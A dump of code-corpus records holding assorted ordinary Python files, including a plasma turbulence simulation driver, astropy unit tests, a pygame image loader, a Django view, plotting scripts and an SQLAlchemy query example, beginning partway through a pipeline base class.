self._term_flag.set()\n for _ in range(self._n_desc):\n self._out([Sentinel]*self._n_outputs if self._n_outputs > 1 else Sentinel)\n self._logger.log(\"Local termination\", self.name)\n return True\n\n def run_functor(self):\n # To be implemented in derived classes\n pass\n\n def run_pipe(self, name=None):\n # This method is called once on local process\n\n if name is not None:\n self.name = name\n\n # Check if local_init exists and if so initialize on local process\n if hasattr(self.functor_obj, 'local_init'):\n self.functor_obj.local_init(**self.init_kwargs)\n\n # Check if run method exists, if so use it as functor, otherwise use __call__ method\n if hasattr(self.functor_obj, 'run'):\n self.functor = self.functor_obj.run\n else:\n self.functor = self.functor_obj\n\n try:\n # run functor loop on local process\n self.run_functor()\n\n # check if local_term method exists, if so run once after pipe segment has terminated\n if hasattr(self.functor_obj, 'local_term'):\n self.functor_obj.local_term()\n\n except KeyboardInterrupt:\n self._logger.log(\"KeyboardInterrupt\", self.name, 'error')\n\n\n","sub_path":"minipipe/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":12479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"593713434","text":"from pathlib import Path\nimport pygame\nfrom pygame.locals import *\n\n\ndef load_image(file, transparent=True):\n data_folder = Path(\"../media\")\n file_to_open = data_folder / file\n\n image = pygame.image.load(str(file_to_open))\n\n if transparent == True:\n image = image.convert()\n colorkey = image.get_at((0, 0))\n image.set_colorkey(colorkey, RLEACCEL)\n else:\n image = image.convert_alpha()\n return image\n","sub_path":"graphic/loader.py","file_name":"loader.py","file_ext":"py","file_size_in_byte":445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"48498173","text":"# -*- coding: utf-8 -*-\n\n\"\"\"Testing :mod:`astropy.cosmology.units`.\"\"\"\n\n##############################################################################\n# IMPORTS\n\nimport pytest\n\nimport astropy.cosmology.units as cu\nimport astropy.units as u\nfrom astropy.cosmology import default_cosmology\nfrom astropy.tests.helper import assert_quantity_allclose\nfrom astropy.utils.compat.optional_deps import HAS_ASDF\nfrom astropy.utils.exceptions import AstropyDeprecationWarning\n\n##############################################################################\n# TESTS\n##############################################################################\n\n\ndef test_has_expected_units():\n \"\"\"\n Test that this module has the expected set of units. Some of the units are\n imported from :mod:`astropy.units`, or vice versa. Here we test presence,\n not usage. Units from :mod:`astropy.units` are tested in that module. Units\n defined in :mod:`astropy.cosmology` will be tested subsequently.\n \"\"\"\n with pytest.warns(AstropyDeprecationWarning, match=\"`littleh`\"):\n assert u.astrophys.littleh is cu.littleh\n\n\ndef test_has_expected_equivalencies():\n \"\"\"\n Test that this module has the expected set of equivalencies. Many of the\n equivalencies are imported from :mod:`astropy.units`, so here we test\n presence, not usage. Equivalencies from :mod:`astropy.units` are tested in\n that module. Equivalencies defined in :mod:`astropy.cosmology` will be\n tested subsequently.\n \"\"\"\n with pytest.warns(AstropyDeprecationWarning, match=\"`with_H0`\"):\n assert u.equivalencies.with_H0 is cu.with_H0\n\n\ndef test_littleh():\n H0_70 = 70 * u.km / u.s / u.Mpc\n h70dist = 70 * u.Mpc / cu.littleh\n\n assert_quantity_allclose(h70dist.to(u.Mpc, cu.with_H0(H0_70)), 100 * u.Mpc)\n\n # make sure using the default cosmology works\n cosmodist = default_cosmology.get().H0.value * u.Mpc / cu.littleh\n assert_quantity_allclose(cosmodist.to(u.Mpc, cu.with_H0()), 100 * u.Mpc)\n\n # Now try a luminosity scaling\n h1lum = 0.49 * u.Lsun * cu.littleh ** -2\n assert_quantity_allclose(h1lum.to(u.Lsun, cu.with_H0(H0_70)), 1 * u.Lsun)\n\n # And the trickiest one: magnitudes. Using H0=10 here for the round numbers\n H0_10 = 10 * u.km / u.s / u.Mpc\n # assume the \"true\" magnitude M = 12.\n # Then M - 5*log_10(h) = M + 5 = 17\n withlittlehmag = 17 * (u.mag - u.MagUnit(cu.littleh ** 2))\n assert_quantity_allclose(withlittlehmag.to(u.mag, cu.with_H0(H0_10)), 12 * u.mag)\n\n\n@pytest.mark.skipif(not HAS_ASDF, reason=\"requires ASDF\")\n@pytest.mark.parametrize('equiv', [cu.with_H0()])\ndef test_equivalencies(tmpdir, equiv):\n from asdf.tests import helpers\n\n tree = {'equiv': equiv}\n\n with pytest.warns(AstropyDeprecationWarning, match=\"`with_H0`\"):\n helpers.assert_roundtrip_tree(tree, tmpdir)\n","sub_path":"astropy/cosmology/tests/test_units.py","file_name":"test_units.py","file_ext":"py","file_size_in_byte":2833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"549848789","text":"import Profile\nimport cmd\nimport sys\n\ndef getArgs(line):\n\treturn line.split(\" \")\n\nclass Commands(cmd.Cmd):\n\tdef __init__(self):\n\t\tcmd.Cmd.__init__(self)\n\t\tself.profiles = {}\n\n\tdef onecmd(self, str):\n\t\t#try:\n\t\t\tcmd.Cmd.onecmd(self, str)\n\t\t#except ValueError:\n\t\t\t#print(\"Failed execute command %s\" % str)\n\n\tdef do_load(self, line):\n\t\tfilename, register = getArgs(line)\n\t\ttry:\n\t\t\tprofile = Profile.Profiler(filename)\n\t\texcept FileNotFoundError:\n\t\t\tprint(\"Failed open file %s\" % filename)\n\t\telse:\n\t\t\tprint(\"Load profile file %s into register %s\" % (filename, register))\n\t\t\tself.profiles[register] = profile\n\n\tdef do_unload(self, line):\n\t\tregister = getArgs(line)\n\t\tif register in self.profiles:\n\t\t\tprint(\"Remove profile at register %s\" % register)\n\t\t\tself.profiles.pop(register)\n\t\telse:\n\t\t\tprint(\"Could not found register %s\" % register)\n\n\tdef do_read(self, line):\n\t\tcategory, register = getArgs(line)\n\t\tif register in self.profiles:\n\t\t\tprofile = self.profiles[register]\n\t\t\tprofile.read(category)\n\n\tdef do_compare(self, line):\n\t\tcategory, r1, r2 = getArgs(line)\n\t\tif r1 in self.profiles and r2 in self.profiles:\n\t\t\tp1 = self.profiles[r1]\n\t\t\tp2 = self.profiles[r2]\n\t\t\tp1.compare(category, p2)\n\n\tdef do_list(self, line):\n\t\tfor r in self.profiles.keys():\n\t\t\tprint(\"\\t%s : \\t%s\" % (r, self.profiles[r]))\n\nif __name__ == \"__main__\":\n\ttry:\n\t\tc = Commands()\n\n\t\tfor i in range(1, len(sys.argv), 2):\n\t\t\tc.do_load(sys.argv[i] + \" \" + sys.argv[i + 1])\n\n\t\tc.cmdloop()\n\texcept KeyboardInterrupt:\n\t\tprint(\"Quit\")\n","sub_path":"ProfilerGraph/Console.py","file_name":"Console.py","file_ext":"py","file_size_in_byte":1495,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"567506068","text":"import re\n\ndef inlezen_bestand(file_path):\n students_score = {}\n try:\n with open(file_path, 'r', encoding='utf-8') as fo:\n line = fo.readline()\n while line:\n line = re.sub(r':', ' ', line).strip('\\n').split()\n name_sequence = (line[0], line[1])\n score = line[2:]\n students_score.update({' '.join(name_sequence) : score})\n line = fo.readline()\n fo.close()\n return students_score\n except FileNotFoundError:\n print('the file path you have entered does not exist.')\n\n\nstudents = inlezen_bestand('bronbestanden\\Scores.txt')\n\nfor k,v in students.items():\n print(f'Student: {k} geeft de volgende scores behaald:\\n{v}')\n","sub_path":"week6/oef5.py","file_name":"oef5.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"219308058","text":"# -*- coding: utf-8 -*-\n\n# system libraries\nfrom __future__ import print_function\nfrom mpi4py import MPI\nimport numpy as np\nimport sys, os\n\n# runko + auxiliary modules\nimport pytools # runko python tools\n\n# problem specific modules\nfrom problem import Configuration_Turbulence as Configuration\n\nnp.random.seed(1) # global simulation seed\n\n\n\nif __name__ == \"__main__\":\n\n # --------------------------------------------------\n # initial setup\n do_print = False\n if MPI.COMM_WORLD.Get_rank() == 0:\n do_print = True\n\n if do_print:\n print(\"Running pic.py with {} MPI processes.\".format(MPI.COMM_WORLD.Get_size()))\n\n # --------------------------------------------------\n # Timer for profiling\n timer = pytools.Timer()\n\n timer.start(\"total\")\n timer.start(\"init\")\n timer.do_print = do_print\n\n # --------------------------------------------------\n # parse command line arguments\n args = pytools.parse_args()\n\n # create conf object with simulation parameters based on them\n conf = Configuration(args.conf_filename, do_print=do_print)\n\n # --------------------------------------------------\n # load runko\n\n if conf.threeD:\n # 3D modules\n import pycorgi.threeD as pycorgi # corgi ++ bindings\n import pyrunko.pic.threeD as pypic # runko pic c++ bindings\n import pyrunko.fields.threeD as pyfld # runko fld c++ bindings\n\n elif conf.twoD:\n # 2D modules\n import pycorgi.twoD as pycorgi # corgi ++ bindings\n import pyrunko.pic.twoD as pypic # runko pic c++ bindings\n import pyrunko.fields.twoD as pyfld # runko fld c++ bindings\n\n\n # --------------------------------------------------\n # problem setup\n if True:\n from problem import velocity_profile\n from problem import density_profile\n from problem import insert_em_fields\n\n # --------------------------------------------------\n # setup grid\n grid = pycorgi.Grid(conf.Nx, conf.Ny, conf.Nz)\n grid.set_grid_lims(conf.xmin, conf.xmax, conf.ymin, conf.ymax, conf.zmin, conf.zmax)\n\n # compute initial mpi ranks using Hilbert's curve partitioning\n pytools.balance_mpi(grid, conf)\n\n # load pic tiles into grid\n pytools.pic.load_tiles(grid, conf)\n\n # --------------------------------------------------\n # simulation restart\n\n # create output folders\n if grid.master():\n pytools.create_output_folders(conf)\n\n # get current restart file status\n io_stat = pytools.check_for_restart(conf)\n\n # no restart file; initialize simulation\n if io_stat[\"do_initialization\"]:\n if do_print:\n print(\"initializing simulation...\")\n lap = 0\n\n np.random.seed(1) # sync rnd generator seed for different mpi ranks\n\n # injecting plasma particles\n\n prtcl_stat = pytools.pic.inject(grid, velocity_profile, density_profile, conf)\n\n if do_print:\n print(\"injected:\")\n print(\" e- prtcls: {}\".format(prtcl_stat[0]))\n print(\" e+ prtcls: {}\".format(prtcl_stat[1]))\n\n # inserting em grid\n insert_em_fields(grid, conf)\n else:\n if do_print:\n print(\"restarting simulation from lap {}...\".format(io_stat[\"lap\"]))\n\n # read restart files\n pyfld.read_yee(grid, io_stat[\"read_lap\"], io_stat[\"read_dir\"])\n pypic.read_particles(grid, io_stat[\"read_lap\"], io_stat[\"read_dir\"])\n\n # step one step ahead\n lap = io_stat[\"lap\"] + 1\n\n # --------------------------------------------------\n # static load balancing setup; communicate neighborhood info once\n\n grid.analyze_boundaries()\n grid.send_tiles()\n grid.recv_tiles()\n MPI.COMM_WORLD.barrier()\n\n # load virtual mpi halo tiles\n pytools.pic.load_virtual_tiles(grid, conf)\n\n # --------------------------------------------------\n # load physics solvers\n\n pusher = pypic.BorisPusher() #particle pusher\n fldprop = pyfld.FDTD2() #em field propagator\n fintp = pypic.LinearInterpolator() # particle em interpolator\n currint = pypic.ZigZag() # particle current deposition\n flt = pyfld.Binomial2(conf.NxMesh, conf.NyMesh, conf.NzMesh) # current filter\n\n\n # --------------------------------------------------\n # I/O objects\n\n # quick field snapshots\n fld_writer = pyfld.FieldsWriter(\n conf.outdir,\n conf.Nx,\n conf.NxMesh,\n conf.Ny,\n conf.NyMesh,\n conf.Nz,\n conf.NzMesh,\n conf.stride,\n )\n\n # test particles\n prtcl_writer = pypic.TestPrtclWriter(\n conf.outdir,\n conf.Nx,\n conf.NxMesh,\n conf.Ny,\n conf.NyMesh,\n conf.Nz,\n conf.NzMesh,\n conf.ppc,\n len(grid.get_local_tiles()),\n conf.n_test_prtcls,\n )\n\n # prtcl distribution moments (fluid quantities)\n mom_writer = pypic.PicMomentsWriter(\n conf.outdir,\n conf.Nx,\n conf.NxMesh,\n conf.Ny,\n conf.NyMesh,\n conf.Nz,\n conf.NzMesh,\n conf.stride,\n )\n\n # 3D box peripherals\n if conf.threeD:\n slice_xy_writer = pyfld.FieldSliceWriter( conf.outdir, \n conf.Nx, conf.NxMesh, conf.Ny, conf.NyMesh, conf.Nz, conf.NzMesh, 1, \n 0, 1)\n slice_xz_writer = pyfld.FieldSliceWriter( conf.outdir, \n conf.Nx, conf.NxMesh, conf.Ny, conf.NyMesh, conf.Nz, conf.NzMesh, 1, \n 1, 1)\n slice_yz_writer = pyfld.FieldSliceWriter( conf.outdir, \n conf.Nx, conf.NxMesh, conf.Ny, conf.NyMesh, conf.Nz, conf.NzMesh, 1, \n 2, 1)\n\n\n # --------------------------------------------------\n # add sinusoidal perturbations with antenna\n if io_stat[\"do_initialization\"]:\n timer.start(\"antenna\")\n\n if conf.twoD:\n from antenna2d import Antenna\n antenna = Antenna(conf.min_mode, conf.max_mode, conf)\n for tile in pytools.tiles_local(grid):\n antenna.add_driving(tile)\n\n elif conf.threeD:\n from antenna3d import Antenna\n antenna = Antenna(conf.max_mode, 2, conf)\n\n for tile in pytools.tiles_local(grid):\n antenna.add_driving(tile)\n\n # --------------------------------------------------\n # sync e and b fields \n\n # mpi e\n grid.send_data(1)\n grid.recv_data(1)\n grid.wait_data(1)\n\n # mpi b\n grid.send_data(2)\n grid.recv_data(2)\n grid.wait_data(2)\n\n for tile in pytools.tiles_all(grid):\n tile.update_boundaries(grid)\n\n # --------------------------------------------------\n # --------------------------------------------------\n # --------------------------------------------------\n # end of initialization\n\n timer.stop(\"init\")\n timer.stats(\"init\")\n # timer.verbose = 1 # 0 normal; 1 - debug mode\n\n ##################################################\n # simulation time step loop\n\n sys.stdout.flush()\n\n\n # simulation loop\n time = lap * (conf.cfl / conf.c_omp)\n for lap in range(lap, conf.Nt + 1):\n\n # --------------------------------------------------\n # push half B \n t1 = timer.start_comp(\"push_half_b1\")\n for tile in pytools.tiles_all(grid):\n fldprop.push_half_b(tile)\n timer.stop_comp(t1)\n\n # --------------------------------------------------\n # comm B\n t1 = timer.start_comp(\"mpi_b2\")\n grid.send_data(2)\n grid.recv_data(2)\n grid.wait_data(2)\n timer.stop_comp(t1)\n\n # --------------------------------------------------\n # update boundaries\n t1 = timer.start_comp(\"upd_bc1\")\n for tile in pytools.tiles_all(grid):\n tile.update_boundaries(grid)\n timer.stop_comp(t1)\n\n ##################################################\n # move particles (only locals tiles)\n\n # --------------------------------------------------\n # interpolate fields\n t1 = timer.start_comp(\"interp_em\")\n for tile in pytools.tiles_local(grid):\n fintp.solve(tile)\n timer.stop_comp(t1)\n\n # --------------------------------------------------\n # push particles in x and u\n t1 = timer.start_comp(\"push\")\n for tile in pytools.tiles_local(grid):\n pusher.solve(tile)\n timer.stop_comp(t1)\n\n ##################################################\n # advance second half B \n\n # --------------------------------------------------\n # push B half\n t1 = timer.start_comp(\"push_half_b2\")\n for tile in pytools.tiles_all(grid):\n fldprop.push_half_b(tile)\n timer.stop_comp(t1)\n\n # --------------------------------------------------\n # comm B\n t1 = timer.start_comp(\"mpi_e1\")\n grid.send_data(1)\n grid.recv_data(1)\n grid.wait_data(1)\n timer.stop_comp(t1)\n\n # --------------------------------------------------\n # update boundaries\n t1 = timer.start_comp(\"upd_bc2\")\n for tile in pytools.tiles_all(grid):\n tile.update_boundaries(grid)\n timer.stop_comp(t1)\n\n ##################################################\n # advance E\n\n # --------------------------------------------------\n # push E\n t1 = timer.start_comp(\"push_e\")\n for tile in pytools.tiles_all(grid):\n fldprop.push_e(tile)\n timer.stop_comp(t1)\n\n # --------------------------------------------------\n # current calculation; charge conserving current deposition (only local tiles)\n t1 = timer.start_comp(\"comp_curr\")\n for tile in pytools.tiles_local(grid):\n currint.solve(tile)\n timer.stop_comp(t1)\n\n # --------------------------------------------------\n # clear virtual current arrays for boundary addition after mpi\n t1 = timer.start_comp(\"clear_vir_cur\")\n for tile in pytools.tiles_virtual(grid):\n tile.clear_current()\n timer.stop_comp(t1)\n\n # --------------------------------------------------\n # mpi send currents\n t1 = timer.start_comp(\"mpi_cur\")\n grid.send_data(0)\n grid.recv_data(0)\n grid.wait_data(0)\n timer.stop_comp(t1)\n\n # --------------------------------------------------\n # exchange currents\n t1 = timer.start_comp(\"cur_exchange\")\n for tile in pytools.tiles_all(grid):\n tile.exchange_currents(grid)\n timer.stop_comp(t1)\n\n ##################################################\n # particle communication (only local/boundary tiles)\n\n # --------------------------------------------------\n # local particle exchange (independent operation)\n t1 = timer.start_comp(\"check_outg_prtcls\")\n for tile in pytools.tiles_local(grid):\n tile.check_outgoing_particles()\n timer.stop_comp(\"check_outg_prtcls\")\n\n # --------------------------------------------------\n # global mpi exchange (independent operation)\n t1 = timer.start_comp(\"pack_outg_prtcls\")\n for tile in pytools.tiles_boundary(grid):\n tile.pack_outgoing_particles()\n timer.stop_comp(t1)\n\n # --------------------------------------------------\n # MPI global particle exchange\n # transfer primary and extra data\n t1 = timer.start_comp(\"mpi_prtcls\")\n grid.send_data(3)\n grid.recv_data(3)\n grid.wait_data(3)\n\n # orig just after send3\n grid.send_data(4)\n grid.recv_data(4)\n grid.wait_data(4)\n timer.stop_comp(t1)\n\n # --------------------------------------------------\n # global unpacking (independent operation)\n t1 = timer.start_comp(\"unpack_vir_prtcls\")\n for tile in pytools.tiles_virtual(grid):\n tile.unpack_incoming_particles()\n tile.check_outgoing_particles()\n timer.stop_comp(t1)\n\n # --------------------------------------------------\n # transfer local + global\n t1 = timer.start_comp(\"get_inc_prtcls\")\n for tile in pytools.tiles_local(grid):\n tile.get_incoming_particles(grid)\n timer.stop_comp(t1)\n\n # --------------------------------------------------\n # delete local transferred particles\n t1 = timer.start_comp(\"del_trnsfrd_prtcls\")\n for tile in pytools.tiles_local(grid):\n tile.delete_transferred_particles()\n timer.stop_comp(t1)\n\n # --------------------------------------------------\n # delete all virtual particles (because new prtcls replace these)\n t1 = timer.start_comp(\"del_vir_prtcls\")\n for tile in pytools.tiles_virtual(grid):\n tile.delete_all_particles()\n timer.stop_comp(t1)\n\n ##################################################\n # filter\n timer.start_comp(\"filter\")\n\n # sweep over npasses times\n for fj in range(conf.npasses):\n\n # update global neighbors (mpi)\n grid.send_data(0)\n grid.recv_data(0)\n grid.wait_data(0)\n\n # get halo boundaries and filter (only local tiles)\n for tile in pytools.tiles_local(grid):\n tile.update_boundaries(grid)\n for tile in pytools.tiles_local(grid):\n flt.solve(tile)\n\n MPI.COMM_WORLD.barrier() # sync everybody\n\n # --------------------------------------------------\n timer.stop_comp(\"filter\")\n\n # --------------------------------------------------\n # add current to E\n t1 = timer.start_comp(\"add_cur\")\n for tile in pytools.tiles_all(grid):\n tile.deposit_current()\n timer.stop_comp(t1)\n\n # comm E\n t1 = timer.start_comp(\"mpi_e2\")\n grid.send_data(1)\n grid.recv_data(1)\n grid.wait_data(1)\n timer.stop_comp(t1)\n\n # --------------------------------------------------\n # comm B\n t1 = timer.start_comp(\"mpi_b1\")\n grid.send_data(2)\n grid.recv_data(2)\n grid.wait_data(2)\n timer.stop_comp(t1)\n\n # --------------------------------------------------\n # update boundaries\n t1 = timer.start_comp(\"upd_bc0\")\n for tile in pytools.tiles_all(grid):\n tile.update_boundaries(grid)\n timer.stop_comp(t1)\n\n ##################################################\n # data reduction and I/O\n\n timer.lap(\"step\")\n if lap % conf.interval == 0:\n if do_print:\n print(\"--------------------------------------------------\")\n print(\"------ lap: {} / t: {}\".format(lap, time))\n\n timer.stats(\"step\")\n timer.comp_stats()\n timer.purge_comps()\n\n # analyze (independent)\n timer.start(\"io\")\n\n # shrink particle arrays\n for tile in pytools.tiles_all(grid):\n tile.shrink_to_fit_all_particles()\n\n # barrier for quick writers\n MPI.COMM_WORLD.barrier()\n\n # shallow IO\n mom_writer.write(grid, lap) # prtcl moments from vel distribution\n fld_writer.write(grid, lap) # quick field snapshots\n\n #interpolate ex,ey,ez and bx,by,bz to prtcl locations and save\n for tile in pytools.tiles_local(grid):\n fintp.solve(tile)\n prtcl_writer.write(grid, lap) # test particles\n\n if conf.threeD:\n slice_xy_writer.write(grid, lap)\n slice_xz_writer.write(grid, lap)\n slice_yz_writer.write(grid, lap)\n\n # deep IO\n if conf.full_interval > 0 and (lap % conf.full_interval == 0) and (lap > 0):\n pyfld.write_yee(grid, lap, conf.outdir + \"/full_output/\")\n pypic.write_particles(grid, lap, conf.outdir + \"/full_output/\")\n\n # restart IO (overwrites)\n if (lap % conf.restart == 0) and (lap > 0):\n\n # flip between two sets of files\n io_stat[\"deep_io_switch\"] = 1 if io_stat[\"deep_io_switch\"] == 0 else 0\n\n pyfld.write_yee(\n grid, io_stat[\"deep_io_switch\"], conf.outdir + \"/restart/\"\n )\n pypic.write_particles(\n grid, io_stat[\"deep_io_switch\"], conf.outdir + \"/restart/\"\n )\n\n # if successful adjust info file\n MPI.COMM_WORLD.barrier() # sync everybody in case of failure before write\n if grid.rank() == 0:\n with open(conf.outdir + \"/restart/laps.txt\", \"a\") as lapfile:\n lapfile.write(\"{},{}\\n\".format(lap, io_stat[\"deep_io_switch\"]))\n\n timer.stop(\"io\")\n\n timer.stats(\"io\")\n timer.start(\"step\") # refresh lap counter (avoids IO profiling)\n\n sys.stdout.flush()\n\n # next step\n time += conf.cfl / conf.c_omp\n # end of loop\n\n # --------------------------------------------------\n # end of simulation\n\n timer.stop(\"total\")\n timer.stats(\"total\")\n","sub_path":"projects/pic-turbulence/pic.py","file_name":"pic.py","file_ext":"py","file_size_in_byte":17201,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"554168544","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Dec 11 14:42:24 2015\r\n\r\n@author: wu34\r\n\"\"\"\r\n\r\nimport matplotlib.pyplot as plt\r\nimport utilise\r\n\r\ndef similarityDict2list(input_dict):\r\n\tlist_temp = []\r\n\t# available_list = ['039','044','045','048','049','050','051','052','053','054','056','057','058','059','060','061','063','064','065','066','067','068','069','070','071','072','073','074','075']\r\n\ti = 0 \r\n\tfor key1 in input_dict:\r\n\t\tj = 0 \r\n\t\tfor key2 in input_dict:\r\n\t\t\tif j > i:\r\n\t\t\t\tlist_temp.append(input_dict[key1][key2])\r\n\t\t\tj += 1\r\n\t\ti += 1\r\n\t# print list \r\n\treturn list_temp\r\n\r\n\r\ndef plotSimilarityDistribution(sim = 'TFIDFCosin'):\r\n\tactSimilarity_dict = utilise.SimilarityDict('ActItem',sim)\r\n\tsimilarityList = similarityDict2list(actSimilarity_dict)\r\n\tplt.figure()\r\n\tplt.hist(similarityList)\r\n\tplt.title('actSimilarityDistribution_'+sim)\r\n\tplt.xlim(0.0,1.0)\r\n\tplt.savefig('visSimilarityDistributionHist/actSimilarityDistribution_'+sim)\r\n\r\n\tdietSimilarity_dict = utilise.SimilarityDict('DietItem',sim)\r\n\tsimilarityList = similarityDict2list(dietSimilarity_dict)\r\n\tplt.figure()\r\n\tplt.hist(similarityList)\r\n\tplt.title('dietSimilarityDistribution_'+sim)\r\n\tplt.xlim(0.0,1.0)\r\n\tplt.savefig('visSimilarityDistributionHist/dietSimilarityDistribution_'+sim)\r\n\r\n\tactTypeSimilarity_dict = utilise.SimilarityDict('ActType',sim)\r\n\tsimilarityList = similarityDict2list(actTypeSimilarity_dict)\r\n\tplt.figure()\r\n\tplt.hist(similarityList)\r\n\tplt.title('actTypeSimilarityDistribution_'+sim)\r\n\tplt.xlim(0.0,1.0)\r\n\tplt.savefig('visSimilarityDistributionHist/actTypeSimilarityDistribution_'+sim)\r\n\r\n\tdietTypeSimilarity_dict = utilise.SimilarityDict('DietType',sim)\r\n\tsimilarityList = similarityDict2list(dietTypeSimilarity_dict)\r\n\tplt.figure()\r\n\tplt.hist(similarityList)\r\n\tplt.title('dietTypeSimilarityDistribution_'+sim)\r\n\tplt.xlim(0.0,1.0)\r\n\tplt.savefig('visSimilarityDistributionHist/dietTypeSimilarityDistribution_'+sim)\r\n\r\nplotSimilarityDistribution('jaccard')\r\nplotSimilarityDistribution('novelJaccard')\r\nplotSimilarityDistribution('TFCosin')\r\nplotSimilarityDistribution('TFEclud')\r\nplotSimilarityDistribution('TFIDFCosin')\r\nplotSimilarityDistribution('TFIDFEclud')\r\n","sub_path":"visSimilarityDistribution.py","file_name":"visSimilarityDistribution.py","file_ext":"py","file_size_in_byte":2159,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"409500014","text":"from django.shortcuts import render\n\nfrom django.views.generic.base import View\nfrom django.contrib.auth import get_user_model\nfrom django.http import Http404\n\n\n# Create your views here.\n\n# function for the index page\n\n\nclass Index(View):\n model = get_user_model()\n\n def get(self, request, *args, **kwargs):\n if self.request.user.is_authenticated:\n try:\n user_obj = self.model.objects.get(id=request.user.id)\n except self.model.DoesNotExist:\n raise Http404\n print(\"ooooooooooooooo\")\n print(user_obj)\n context={\"user_obj\": user_obj}\n return render(request, 'beyonic_users/index.html', context)\n context={}\n return render(request, 'beyonic_users/index.html', context)","sub_path":"beyonic_users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"25934930","text":"if __name__ == \"__main__\":\n headers = {\"Authorization\" : \"KakaoAK \" + KAKAO_REST_KEY}\n res1 = requests.get(\n url=KAKAO_BASE_URL + \"/v3/search/book?target=title&query=코스모스\",\n headers=headers\n )\n\n if res1.status_code == 200:\n books = res1.json()\n for book in books['documents']:\n print(book)\n # print(\"{0:50s} - {1:20s}\".format(str(book['title']), str(book['authors'])))\n else:\n print(\"Error {0}\".format(res1.status_code))","sub_path":"activity list/MOSAIC(Koreatech Start Up)/Crawling/Facebook/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"125490687","text":"from os import listdir\nfrom os.path import isfile, join, isdir\nrootfolder = \"D:/ProjectData/caltech101/101_ObjectCategories/\"\nonlyfolders= [f for f in listdir(rootfolder) if isdir(join(rootfolder, f))]\n\nwith open('pointerList.list1', 'w') as plist:\n\tfor ifolder in onlyfolders:\n\t\tsubfolder = rootfolder + ifolder + \"/\"\n\t\t#folder = \"D:/Users/Bishal Santra/Documents/MATLAB/MTP/neural_generative/caltech101/101_ObjectCategories/cup\"\n\t\tonlyfiles= [join(subfolder, f) for f in listdir(subfolder) if isfile(join(subfolder, f))]\n\t\tplist.write(ifolder+ \"\\n\")\n\t\tplist.write(str(len(onlyfiles)) + \"\\n\")\n\t\twith open(ifolder + \".list2\", \"w\") as wfile:\n\t\t\tfor iname in onlyfiles:\n\t\t\t\twfile.write(iname + \"\\n\")","sub_path":"MTP_Port2/rfiles/flister.py","file_name":"flister.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"149608532","text":"import unittest\nimport parity\nimport csv\n\n\nclass FlipCellTests(unittest.TestCase):\n\n def __init__(self, *args, **kwargs):\n unittest.TestCase.__init__(self, *args, **kwargs)\n self.maxDiff = None\n self.small_grid = self.load_grid_from_csv(\"tests/grids/expected_small_grid.csv\")\n self.small_grid_flipped = self.load_grid_from_csv(\"tests/grids/small_grid_flipped.csv\")\n self.medium_grid = self.load_grid_from_csv(\"tests/grids/expected_medium_grid.csv\")\n self.medium_grid_flipped = self.load_grid_from_csv(\"tests/grids/medium_grid_flipped.csv\")\n self.large_grid = self.load_grid_from_csv(\"tests/grids/expected_large_grid.csv\")\n self.large_grid_flipped = self.load_grid_from_csv(\"tests/grids/large_grid_flipped.csv\")\n\n def load_grid_from_csv(self, csv_file_path):\n grid = []\n with open(csv_file_path) as csv_file:\n reader = csv.reader(csv_file)\n for line in reader:\n grid.append(line)\n return grid\n\n def test_flip_cell(self):\n result_grid = parity.flip_cell(1, 2, self.small_grid)\n self.assertListEqual(result_grid, self.small_grid_flipped)\n\n result_grid = parity.flip_cell(7, 9, self.medium_grid)\n self.assertListEqual(result_grid, self.medium_grid_flipped)\n\n result_grid = parity.flip_cell(26, 75, self.large_grid)\n self.assertListEqual(result_grid, self.large_grid_flipped)\n","sub_path":"parity_project/starter/tests/test_flip_cell.py","file_name":"test_flip_cell.py","file_ext":"py","file_size_in_byte":1436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"237045424","text":"import os\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import scoped_session, sessionmaker\n\n# Creating a databse engine in line 6. \n# The engine is an object created by SQL alchemy, this third party library that we're going to be using.\n# os.getenv database URL specifies in an environment variable the database URL. The URL of where my database lives.\n# In my case, that URL is local host, my own computer. But if you've got a database that's living somewhere else on the internet, that might actually be a URL.\n\nengine = create_engine(os.getenv(\"DATABASE_URL\"))\ndb = scoped_session(sessionmaker(bind=engine))\n\n# On line 10, we're creating a scope session. When we take our web application to the internet, we have multiple people that are simultaneously trying to use our website at the same time, we want to make sure that the stuff that person A is doing with the database is kept separate from the stuff that person B is doing with the database.\n# And so creating different sessions for different people is just a way of managing that.\n# We have this object called db which allows us to run SQL commands.\n\ndef main():\n flights = db.execute(\"SELECT origin, destination, duration FROM flights\").fetchall()\n for flight in flights:\n print(f\"{flight.origin} to {flight.destination}, {flight.duration} minutes.\")\n\n# On line 18, I want a query for all of my flight. In the quotation mark, I can specify whatever SQL command I want to run.\n# fetchall query gets all of the results.\n# On line 19 to 20, I print the results out.\n\nif __name__ == \"__main__\":\n main()","sub_path":"My Practice/SQL/list/list.py","file_name":"list.py","file_ext":"py","file_size_in_byte":1588,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
